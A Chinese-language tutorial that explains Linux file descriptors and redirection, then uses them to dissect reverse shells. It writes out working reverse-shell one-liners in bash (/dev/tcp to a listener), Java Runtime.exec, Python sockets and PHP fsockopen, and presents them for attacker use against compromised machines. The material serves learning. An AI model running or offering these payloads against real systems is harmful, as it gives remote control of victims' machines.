做题目遇到了, 就去查了一些这方面的资料, 总结一下.
文件描述符与重定向
文件描述符
文件描述符是一个非负整数, 它指向一个打开的文件, 可以理解为指针指向打开的文件, 但它并不是指针
实际上, 它是一个索引值, 指向内核为每一个进程所维护的该进程打开文件的记录表. 当程序打开一个现有文件或者创建一个新文件时, 内核向进程返回一个文件描述符. 一般适用于 Linux 和 Unix 系统
也可以理解为文件的身份 ID, 用于表明每个被进程打开的文件
每一个文件描述符会与一个打开文件相对应, 同时, 不同的文件描述符也会指向同一个文件
一般情况下, Linux 下的三个默认文件描述符如下 :
0 表示标准输入, 只读
1 表示标准输出, 只写
2 表示标准错误输出, 只写
程序刚刚启动的时候, 0 是标准输入, 1 是标准输出, 2 是标准错误输出. 如果此时去打开一个新的文件, 它的文件描述符会是 3
在 Linux 中, 一切都是文件, 键盘显示器设备都是文件, 它们的输入输出也由文件描述符控制
重定向
重定向主要有两种 :
输入重定向 <: 对 0 重定向
输出重定向> : 对 1 重定向
bash 在执行一条指令时, 首先会处理重定向符号
如果指令中存在多个重定向, 那么它的解析顺序是从左向右
输入重定向 ( <) 例子如下, 首先解析器会先解析重定向, 将标准输入指向 file, 这时再使用 cat 从标准输入读取时, 就会读取 file
输出重定向 (> ) 例子如下, 首先解析器会先解析重定向, 将标准输出指向 file, 这时使用 echo 输入字符串, 就会直接输入到 file 中
标准输出与标准错误输出重定向 ( &> ) 例子如下, 首先, 执行一个错误的命令, 可以看到, 错误输出到了 file 中, 后面执行一个正确的命令, 结果也输出到了 file 中. 这两个命令等价于 mkdir 1> file 2>&1 和 ls 1> file 2>&1
0,1,2 是默认的文件描述符, 其之后的可以自行使用, 例子如下, 创建文件描述符 3 并指向 file, 然后 cat 读取
还有一种重定向,<> 表示同时对文件进行读写, 例子如下. 以读写模式打开 file 同时将文件描述符 6 指向 file, 然后 cat 读取
反弹 shell
什么是反弹 shell
就是控制端监听在某 TCP/UDP 端口, 被控端发起请求到该端口, 并将其命令行的输入输出转到控制端. 其本质上是网络概念的客户端与服务端的角色反转. 通常用于被控端因防火墙受限, 权限不足, 端口被占用等情形.
假设我们攻击了一台机器, 打开了该机器的一个端口, 攻击者在自己的机器去连接目标机器(目标 ip: 目标机器端口), 这是比较常规的形式, 我们叫做正向连接. 远程桌面, web 服务, SSH,telnet 等等, 都是正向连接.
那么什么时候使用反弹 shell 呢?
靶机中了你的网马, 但是它在局域网内, 直接连接不了
靶机的 IP 会动态改变, 不能持续控制
由于防火墙等限制, 靶机只能发送请求, 不能接收请求
对于病毒, 木马, 受害者什么时候能中招, 对方的网络环境是什么样的, 什么时候开关机, 都是未知, 所以建立一个服务端, 让恶意程序主动连接, 才是上策
所谓反弹 shell, 就是受害者连接攻击者指定的服务端, 从而使攻击者 getshell
举个例子, 靶机 : 192.168.233.132, 攻击者 : 192.168.233.130, 在攻击者上执行 nc -lvp 4096 监听 4096 端口, 在靶机上执行 bash -i>& /dev/tcp/192.168.233.130/4096 0>&1, 将会有如下界面 :
反弹 shell 分析
bash -i>& /dev/tcp/ip/port 0>&1
bash -i 创建一个交互式 bash 进程
/dev/tcp/ip/port 与 IP:port 建立一个 TCP 连接
这里相当于
bash -i 1> /dev/tcp/ip/port 2>&1
先将文件描述符 1 重定向到 /dev/tcp/ip/port , 然后再将文件描述符 2 重定向到 /dev/tcp/ip/port
0>&1 将文件描述符 0 重定向到 /dev/tcp/ip/port
最终所有的标准输入输出都在这个文件中, 很明显完成了反弹 shell
- bash -i 5<>/dev/tcp/host/port 0>&5 1>&5
- 5<>/dev/tcp/host/port
以读写方式打开 /dev/tcp/host/port, 并将文件描述符重定向到 /dev/tcp/host/port
0>&5 文件描述符 0 重定向到 5
1>&5 文件描述符 1 重定向到 5
最终文件描述符 0 和 1 都重定向到 /dev/tcp/host/port 完成 反弹 shell
- exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line>&5; done
- exec 5<>/dev/tcp/host/port
以读写方式打开 /dev/tcp/host/port, 并将文件描述符重定向到 /dev/tcp/host/port
cat <&5 将文件描述符 5 重定向到 cat 中, 即 cat 读取 &5 的内容, 也即 cat 读取 /dev/tcp/host/port 中的内容
| 将 cat 读取的结果作为后面的输入
while read line; do $line>&5; done
循环读取 cat <&5 中的内容, 赋值给 line, 然后 $line 执行 line, 最后>&5 表示将 bash 的输出和错误重定向到文件描述符 5 中, 即 /dev/tcp/host/port 中
Java 反弹 shell
基本方式
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5>&5; done"}).waitFor();
或者
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i>& /dev/tcp/ip/port 0>&1"}).waitFor();
/bin/bash 是需要运行的程序,-c 和 bash -i>& /dev/tcp/ip/port 0>&1 都是作为 /bin/bash 的参数. bash -c "cmd string" 意为 shell 运行 cmd string, 所以上述代码就是利用 shell 运行 bash -i>& /dev/tcp/ip/port 0>&1
python 反弹 shell
- import socket,subprocess,os
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.connect(("192.168.31.41",8080))
- os.dup2(s.fileno(),0)
- os.dup2(s.fileno(),1)
- os.dup2(s.fileno(),2)
- p=subprocess.call(["/bin/sh","-i"])
PHP 反弹 shell
- $sock=fsockopen("192.168.31.41",8080);
- exec("/bin/sh -i <&3>&3 2>&3");
来源: http://www.bubuko.com/infodetail-3193644.html